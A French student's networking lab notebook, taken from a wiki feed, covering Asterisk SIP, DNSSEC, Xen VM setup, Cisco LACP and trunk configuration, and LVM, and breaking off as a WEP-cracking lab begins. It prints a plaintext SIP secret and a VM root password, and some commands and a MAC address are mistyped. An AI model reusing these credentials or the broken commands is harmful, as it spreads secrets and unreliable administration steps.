callerid=Chen Cong &amp;lt;72000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En meme temps, il faut aussi modifier le fichier /etc/asterisk/extensions.conf. Ce fichier permet d'ajouter des utilisateurs.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
include =&amp;gt; demo&lt;br /&gt;
&lt;br /&gt;
exten =&amp;gt; 71000,1,Dial(SIP/chencong)&lt;br /&gt;
exten =&amp;gt; 72000,1,Dial(SIP/clara)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier /etc/bind9/db.mulan.website, il faut changer le serial et ajouter un autre nom de domaine.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
42        ; Serial&lt;br /&gt;
&lt;br /&gt;
sip    IN    A    193.48.57.164&lt;br /&gt;
&lt;br /&gt;
_sip._udp    IN SRV    10 1 5060 sip&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Chanque fois après la modification de ce fichier, il faut résigner la zone avec les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir les détailles, sur le console j'ai tapé&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
service asterisk start&lt;br /&gt;
asterisk -vvvvv -r&lt;br /&gt;
sip show peers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai peux voir&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan*CLI&amp;gt; sip show peers&lt;br /&gt;
Name/username             Host                                    Dyn Forcerport Comedia    ACL Port     Status      Description                      &lt;br /&gt;
chencong/chencong         10.60.5.10                               D  Auto (No)  No             5060     Unmonitored                                  &lt;br /&gt;
clara/clara               10.60.5.103                              D  Auto (No)  No             50032    Unmonitored                                  &lt;br /&gt;
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 2 online, 0 offline]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour faire le test il faut télécharger deux application sipdroid(sur le portable HTC) et ekiga(sur eeePC). J'ai essayé d'appeler ekiga avec le portable HTC. Sur le console,j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[Dec 16 16:00:10] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:01:12] NOTICE[5591][C-000001ba]: chan_sip.c:25652 handle_request_invite: Call from '' (85.25.207.90:5108) to extension '972594105693'   &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
[Dec 16 16:02:09] NOTICE[5591][C-000001bb]: chan_sip.c:25652 handle_request_invite: Call from '' (209.126.97.238:5070) to extension '0046184952042' &lt;br /&gt;
rejected because extension not found in context 'public'.&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-00000008&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-00000009 is ringing&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
    -- SIP/chencong-00000009 answered SIP/clara-00000008&lt;br /&gt;
    -- Remotely bridging SIP/clara-00000008 and SIP/chencong-00000009&lt;br /&gt;
       &amp;gt; 0x7f3754015760 -- Probation passed - setting RTP source address to 10.60.5.10:5066&lt;br /&gt;
       &amp;gt; 0x7f373c0a8970 -- Probation passed - setting RTP source address to 10.60.5.103:4002&lt;br /&gt;
[Dec 16 16:02:41] WARNING[5591]: chan_sip.c:4035 retrans_pkt: Retransmission timeout reached on transmission b2988c5312894a9e6a8a38767c07cdca for &lt;br /&gt;
seqno 1 (Critical Response) -- See https://wiki.asterisk.org/wiki/display/AST/SIP+Retransmissions&lt;br /&gt;
Packet timed out after 32000ms with no response&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-00000008'&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Executing [71000@default:1] Dial(&amp;quot;SIP/clara-0000000a&amp;quot;, &amp;quot;SIP/chencong&amp;quot;) in new stack&lt;br /&gt;
  == Using SIP RTP CoS mark 5&lt;br /&gt;
    -- Called SIP/chencong&lt;br /&gt;
    -- SIP/chencong-0000000b is ringing&lt;br /&gt;
  == Spawn extension (default, 71000, 1) exited non-zero on 'SIP/clara-0000000a'&lt;br /&gt;
[Dec 16 16:05:11] NOTICE[5591]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: clara&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai essayé d'appeler le eeePC par mon portable&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:appel1.jpg&lt;br /&gt;
Fichier:call.jpg&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Problème Rencontré=&lt;br /&gt;
Dans ce TP, un moment donné, j'arrivais pas à faire le ping à un routeur par ma machine virtuel. Le problème était que le routeur de l'école n'était pas sur le vlan 130. Donc les paquets ne pouvaient pas passer. Voici un schéma pour expliquer comment ca marche.&lt;br /&gt;
[[Fichier:schema_routage.jpg‎|thumb|center|1200xp|Routage]]&lt;br /&gt;
Donc je peux bien voir qu'il y a une bonne communication entre mon portable et mon eeePC.&lt;br /&gt;
&lt;br /&gt;
=Références=&lt;br /&gt;
Configurations Guide: http://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst3650/software/release/3se/layer2/configuration_guide/b_lay2_3se_3650_cg/b_lay2_3se_3650_cg_chapter_0101.html#task_1275918&lt;br /&gt;
&lt;br /&gt;
Configurations Guide LACP: http://www.cisco.com/c/en/us/td/docs/ios/12_2sb/feature/guide/gigeth.html#wp1087351&lt;br /&gt;
&lt;br /&gt;
LACP: https://fr.wikipedia.org/wiki/IEEE_802.3ad&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39902</id>
		<title>Cahier 2016 groupe n°4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B04&amp;diff=39902"/>
				<updated>2017-03-01T17:05:26Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Plan des séances */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Plan des séances===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Connaissances du TP/ Recherche des informations de LACP/ Familiarisation avec des équipements &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Installation de la machine virtuelle/ Configuration des commutateurs en LACP&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Configuration des switchports en mode trunk/ Mettre des commutateurs dans la salle technique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Câblages des commutateurs dans la salle locale technique/ Création des LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Tests d'intrusion/  Services Internet&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (14/11)&lt;br /&gt;
 | Tests d'intrusion (Cassage de mot de passe WPA-PSK par force brute)&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | Sécurisation Wifi par WPA2-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | Configuration d'un PCBX&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie I - Réalisation en monome : LACP&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
[[Fichier:travail.jpeg‎|thumb|center|1200xp|TP global]]&lt;br /&gt;
Travail principal: Dans un premier temps mon travail principal c'est de faire la connexion entre la salle E306,E304 et mon propre commutateur. Ensuite il faut connecter mon commutateur avec le commutateur de l'école. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Les matériels nécessaires&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:commutateur.jpeg|Commutateur&lt;br /&gt;
Fichier:LC.jpeg|Adaptateur LC&lt;br /&gt;
Fichier:SC.jpeg|Adaptateur SC&lt;br /&gt;
Fichier:cables.jpeg|Cables&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Le fonctionnement&amp;lt;/h4&amp;gt;&lt;br /&gt;
Dans les images, on peut voir qu'il y deux genres de câbles.Les câbles en rouges sont pour la salle E306 et la salle E304, les câbles en bleus sont pour l'école. Pour communiquer avec mon commutateur il faut brancher les câbles en rouges sur mon commutateur. Ensuite, pour connecter mon commutateur au commutateur de l'école il faut un autre câble. Le LC et le SC sont des adaptateurs.&lt;br /&gt;
&amp;lt;h4&amp;gt;d) La recherche du LACP&amp;lt;/h4&amp;gt;&lt;br /&gt;
LACP (Link Aggregation Control Protocol) est un protocole de niveau 2 du modèle OSI qui permet de grouper plusieurs ports physiques en une seule voie logique.&lt;br /&gt;
La norme décrit l'utilisation de multiples câbles réseau Ethernet ou un port parallèle pour augmenter la rapidité du lien au-delà des limites d'un câble ou d'un seul port, et d'accroître la redondance pour une plus grande disponibilité.&lt;br /&gt;
[[Fichier:LACP.jpeg‎|thumb|center|1200xp|Fonctionnement du LACP]]&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie II - Réalisation de la machine virtuelle&amp;lt;/h2&amp;gt;&lt;br /&gt;
Pour réaliser une machine virtuelle il faut taper la commande comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     xen-create-image --hostname=Mulan --ip=193.48.57.164 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen&lt;br /&gt;
                      --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que ma machine virtuelle est crée j'ai eu des informations comme ci-dessous:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
     Hostname                 :       Mulan&lt;br /&gt;
     Distribution             :       jessie&lt;br /&gt;
     MAC Address              :       00:16:3E:20:B9:4F&lt;br /&gt;
     IP Address(es)           :       193.48.57.164&lt;br /&gt;
     RSA Fingerprint          :       ae:b1:59:03:ad:d1:ac:3b:13:df:fe:94:0a:3b:81&lt;br /&gt;
     Root Password            :       EZ5VWgMP&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite avec la commande ls /etc/xen j'arrive à visualiser les machines crées sur xen&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Batman.cfg             Gringe.cfg          Orelsa.cfg            xend-config.sxp&lt;br /&gt;
      Deadpool.cfg           Kdoc.cfg            Pnl.cfg               xl.conf&lt;br /&gt;
      Flash.cfg              Lartiste.cfg        scripts               xlexample.hvm&lt;br /&gt;
      Gradur.cfg             Mulan.cfg           Vald.cfg              xlexample.pvlinux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai lancé la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl create -c /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande est pour visualiser le fichier de ma machine virtuelle Mulan, ici:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      xl --------  Gérer la machine virtuelle&lt;br /&gt;
      create ----- Démarrer la machine virtuelle&lt;br /&gt;
      -c --------  Avoir la console&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut changer certains paramètres de ma machine virtuelle, donc avec vi j'ai accédé à mon fichier. Après les changements, j'ai eu un fichier comme montré:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      #&lt;br /&gt;
      # Kernel&lt;br /&gt;
      #&lt;br /&gt;
      Kernel  = '/boot/vmlinuz-3.14-2-amd64'&lt;br /&gt;
      extra   = 'elevator = noop'&lt;br /&gt;
      ramdisk = '/boot/initrd.img-3.14-2-amd64'&lt;br /&gt;
      vcpus   = '1'&lt;br /&gt;
      memory  = '512'&lt;br /&gt;
      #&lt;br /&gt;
      # Disk device(s)&lt;br /&gt;
      #&lt;br /&gt;
      root = '/dev/xvda2 ro'&lt;br /&gt;
      disk = [&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/disk,img,xvda2,w',&lt;br /&gt;
                      'file:/usr/local/xen/domains/Mulan/swap,img,xvda1,w',&lt;br /&gt;
             ]&lt;br /&gt;
      #&lt;br /&gt;
      # Hostname&lt;br /&gt;
      #&lt;br /&gt;
      name = '/Mulan'&lt;br /&gt;
      #&lt;br /&gt;
      # Networking&lt;br /&gt;
      #&lt;br /&gt;
      vif = [ 'mac = 00:16:3E:20:139:4F,bridge=IMA5sc' ]&lt;br /&gt;
      #&lt;br /&gt;
      # Behavior&lt;br /&gt;
      #&lt;br /&gt;
      on_poweroff = 'destroy'&lt;br /&gt;
      on_reboot   = 'restart'&lt;br /&gt;
      on_crash    = 'restart'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir le mot de passe, il faut regarder dans le fichier '''/etc/xen/var/log/xen-tools/Mulan.cfg'''.Souvent le mot de passe est trop long donc pour le changer il faut taper '''passwd'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie III - Configuration des commutateurs en mode LACP &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette parties il faut que je configures deux commutateurs dans le mode LACP avant que je les branche. Ensuite il faut qu'ils    &lt;br /&gt;
soient reliés par des câbles pour voir s'ils peuvent communiquer ou pas.&lt;br /&gt;
[[Fichier:commu.JPG|thumb|center|600xp|Deux commutateurs]]&lt;br /&gt;
&amp;lt;h4&amp;gt;b) La configuration&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      Switch&amp;gt;            enable&lt;br /&gt;
      Switch#            configure terminal&lt;br /&gt;
      Switch(config) #   interface port-channel 1&lt;br /&gt;
      Switch(config-if)# interface g1/0/1&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# exit&lt;br /&gt;
      Switch(config)#    interface g1/0/2&lt;br /&gt;
      Switch(config-if)# no ip address&lt;br /&gt;
      Switch(config-if)# channel-group 1 mode active&lt;br /&gt;
      Switch(config-if)# end&lt;br /&gt;
      Switch#            write&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petits rappels: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      port-channel -------- interface virtuelle&lt;br /&gt;
      show int summary ---- savoir les informations des ports et vlans du commutateur&lt;br /&gt;
      10 ports ont été configurés ---- de g1/0/1 à g1/0/10&lt;br /&gt;
      il ne faut surtout pas oublier le write ! ---- enregistrer toutes les configurations&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les memes commandes pour configurer l'autre commutateur sauf que le numéro des ports sont de g0/1 à g0/10.Comme l'autre commutateur est déjà configuré donc avant que j'ai commencé le configurer j'ai supprimé toutes les informations dedans avec '''no vlan x''' Une fois que les configurations sont faites, j'ai lié ces deux commutateurs par des câbles internet.&lt;br /&gt;
[[Fichier:cable.JPG|thumb|center|600xp|Lier les commutateurs]]&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Test&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour voir si les ports sont bien connecté avec l'interface virtuelle ou pas il faut faire la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      sh int port-channel&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et j'ai eu un ecran comme suit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   Port-channel1 is up, line protocol is up (connected)&lt;br /&gt;
      Hardware is EtherChannel, address is 4c4e.355e.b901 (bia 4c4e.355e.b901)&lt;br /&gt;
      MTU 1500 bytes, BW 8000000 Kbit, DLY 10 usec,&lt;br /&gt;
         reliability 255/255, txload 1/255, rxload 1/255&lt;br /&gt;
      Encapsulation ARPA, loopback not set&lt;br /&gt;
      Keepalive set (10 sec)&lt;br /&gt;
      Full-duplex, 1000Mb/s, link type is auto, media type is unknown&lt;br /&gt;
      input flow-control is off, output flow-control is unsupported &lt;br /&gt;
      Members in this channel: Gi0/1 Gi0/2 Gi0/3 Gi0/4 Gi0/5 Gi0/6 Gi0/7 Gi0/8 &lt;br /&gt;
      ARP type: ARPA, ARP Timeout 04:00:00&lt;br /&gt;
      Last input 00:00:00, output 00:13:18, output hang never&lt;br /&gt;
      Last clearing of &amp;quot;show interface&amp;quot; counters never&lt;br /&gt;
      Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0&lt;br /&gt;
      Queueing strategy: fifo&lt;br /&gt;
      Output queue: 0/40 (size/max)&lt;br /&gt;
      5 minute input rate 1000 bits/sec, 2 packets/sec&lt;br /&gt;
      5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;
          1583 packets input, 166045 bytes, 0 no buffer&lt;br /&gt;
          Received 1082 broadcasts (1082 multicasts)&lt;br /&gt;
          0 runts, 0 giants, 0 throttles&lt;br /&gt;
          0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored&lt;br /&gt;
          0 watchdog, 1082 multicast, 0 pause input&lt;br /&gt;
          0 input packets with dribble condition detected&lt;br /&gt;
          1187 packets output, 148752 bytes, 0 underruns&lt;br /&gt;
          0 output errors, 0 collisions, 1 interface resets&lt;br /&gt;
          0 babbles, 0 late collision, 0 deferred&lt;br /&gt;
          0 lost carrier, 0 no carrier, 0 PAUSE output&lt;br /&gt;
          0 output buffer failures, 0 output buffers swapped out&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Par ces informations je peux bien savoir que mon interface virtuelle est en mode active et il y a que 8 ports qui sont pris en compte.&lt;br /&gt;
[[Fichier:light.JPG|thumb|center|600xp|Les lumières du commutateur]]&lt;br /&gt;
Même par les lumières du commutateur, 8 ports sont en vert et 2 ports sont en orange.&lt;br /&gt;
'''Pourquoi?'''Parce que LACP permet un maximum de 16 ports dont 8 actifs.(voir la référence)&lt;br /&gt;
Pour voir toutes les informations de port-channel 1 il y a une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh lacp 1 internal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec cette commande je peux visualiser tous les ports qui marchent sur cette interface virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Channel group 1&lt;br /&gt;
                            LACP port     Admin     Oper    Port        Port&lt;br /&gt;
Port      Flags   State     Priority      Key       Key     Number      State&lt;br /&gt;
Gi1/0/1   SA      bndl      32768         0x1       0x1     0x102       0x3D  &lt;br /&gt;
Gi1/0/2   SA      bndl      32768         0x1       0x1     0x103       0x3D  &lt;br /&gt;
Gi1/0/3   SA      bndl      32768         0x1       0x1     0x104       0x3D  &lt;br /&gt;
Gi1/0/4   SA      bndl      32768         0x1       0x1     0x105       0x3D  &lt;br /&gt;
Gi1/0/5   SA      bndl      32768         0x1       0x1     0x106       0x3D  &lt;br /&gt;
Gi1/0/6   SA      bndl      32768         0x1       0x1     0x107       0x3D  &lt;br /&gt;
Gi1/0/7   SA      bndl      32768         0x1       0x1     0x108       0x3D  &lt;br /&gt;
Gi1/0/8   SA      bndl      32768         0x1       0x1     0x109       0x3D  &lt;br /&gt;
Gi1/0/9   SA      hot-sby   32768         0x1       0x1     0x10A       0x5   &lt;br /&gt;
Gi1/0/10  SA      hot-sby   32768         0x1       0x1     0x10B       0x5   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie IV - Configurations des switchports en mode trunk &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette séance il faut configurer les switchports en mode trunk ensuite il faut installer les commutateurs dans l'armoire. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Configurations des switchports&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour configurer les switchports il faut utiliser les commandes en bas&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Switch#configure terminal&lt;br /&gt;
Switch(config)#interface XXX                                                &lt;br /&gt;
Switch(config-if)#switchport mode trunk                                         &lt;br /&gt;
Switch(config-if)#switchport trunk encapsulation dot1q                          &lt;br /&gt;
Switch(config-if)#exit   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans mon cas, les interfaces que j'ai configurées sont&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Te1/0/1 Te1/0/2 TenGigabitEthernet1/1 TenGigabitEthernet1/2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir si les switchports ont été bien configuré ou pas il faut taper &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur le console j'ai eu des informations comme suit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
interface TenGigabitEthernet1/0/1                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                                                                               &lt;br /&gt;
interface TenGigabitEthernet1/0/2                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les ports sont bien configurés.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Installations des commutateurs&amp;lt;/h4&amp;gt;&lt;br /&gt;
Après la configurations des commutateurs il faut les installer dans la salle technique.&lt;br /&gt;
[[Fichier:com.JPG|thumb|center|600xp|L'installation des commutateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie V - Câblages et créations des LVM &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Pour que tous les paquets puissent passer par mes commutateurs, il faut mettre des câbles entre les commutateurs de la salle E304 et la salle E306 et mes commutateurs configurés en mode LACP. Ensuite il faut créer des LVM.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Câblages des commutateurs&amp;lt;/h4&amp;gt;  &lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:ca2.JPG|Cablage&lt;br /&gt;
Fichier:ca0.JPG|Cablage&lt;br /&gt;
Fichier:ca1.JPG|Cablage&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Créations des LVM&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour créer le LVM il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-var -v&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-home -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut compléter le fichier Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/spool1/mail-spool,xvdb1,w',&lt;br /&gt;
'phy:/dev/spool2/mail-backup,xvdc1,w'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la réussite de la création de LVM, il faut utiliser la commande '''fdisk -l''' et j'ai sur le console j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Disk /dev/xvda2: 4 GiB, 4294967296 bytes, 8388608 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvda1: 128 MiB, 134217728 bytes, 262144 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdb1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdc1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai choisit xvdb1 pour home et xvdc1 pour var.&lt;br /&gt;
Ensuite j'ai modifié le fichier /etc/fstab en rajoutant&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc1 /var  ext4 defaults 0 3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux commandes permettent de créer un ext4 fichier sur une partition d'un système.&lt;br /&gt;
Mais avant d'exécuter '''mount a''' pour var, il faut d'abord déplacer les fichiers existants dans un autre répertoire''' mnt'''.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/xdbc1 /mnt&lt;br /&gt;
cd /var&lt;br /&gt;
mv /mnt&lt;br /&gt;
unmont /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
The mount command mounts a storage device or filesystem, making it accessible and attaching it to an existing directory structure.&lt;br /&gt;
The umount command &amp;quot;unmounts&amp;quot; a mounted filesystem, informing the system to complete any pending read or write operations, and safely detaching it.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VI - Tests d'intrusion &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut tester les méthodes de sécurisation du WIFI&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Cassage de clef WEP d'un point d'accès Wifi&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail réalisé dans cette partie est sur un eeePC. Dans un premier temps, il faut installer le paquetage '''aircrack-ng''' sur eeePC avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install aircrack-ng&lt;br /&gt;
